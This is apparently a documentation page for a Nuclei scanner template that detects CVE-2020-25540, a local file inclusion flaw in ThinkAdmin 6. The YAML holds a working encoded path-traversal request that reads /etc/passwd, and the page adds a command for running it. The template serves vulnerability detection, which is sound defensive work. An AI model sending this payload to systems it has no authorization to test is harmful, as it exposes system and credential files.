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ThinkAdmin 6 - Local File Inclusion

ID: CVE-2020-25540

Severity: high

Author: geeknik

Tags: cve,cve2020,thinkadmin,lfi,edb,packetstorm,ctolog

Description

Section titled “Description”

ThinkAdmin version 6 is affected by a local file inclusion vulnerability because an unauthorized attacker can read arbitrary files on a remote server via GET request encode parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2020-25540


info:
  name: ThinkAdmin 6 - Local File Inclusion
  author: geeknik
  severity: high
  description: ThinkAdmin version 6 is affected by a local file inclusion vulnerability because an unauthorized attacker can read arbitrary files on a remote server via GET request encode parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Apply the latest patch or upgrade to a version that is not affected by the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48812
    - https://github.com/zoujingli/ThinkAdmin/issues/244
    - https://wtfsec.org/posts/thinkadmin-v6-%E5%88%97%E7%9B%AE%E5%BD%95-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/
    - http://packetstormsecurity.com/files/159177/ThinkAdmin-6-Arbitrary-File-Read.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25540
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-25540
    cwe-id: CWE-22
    epss-score: 0.96513
    epss-percentile: 0.99597
    cpe: cpe:2.3:a:thinkadmin:thinkadmin:6.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: thinkadmin
    product: thinkadmin
  tags: cve,cve2020,thinkadmin,lfi,edb,packetstorm,ctolog


http:
  - method: GET
    path:
      - '{{BaseURL}}/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s'


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bc58349e87834a42085b577b432df5faf9b92cc134d6af023c39c587b70752b1022045acc5087c032f9f35b541dadb455682b7bcf90b06e9b2f48b45b5575221a44b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-25540.yaml"

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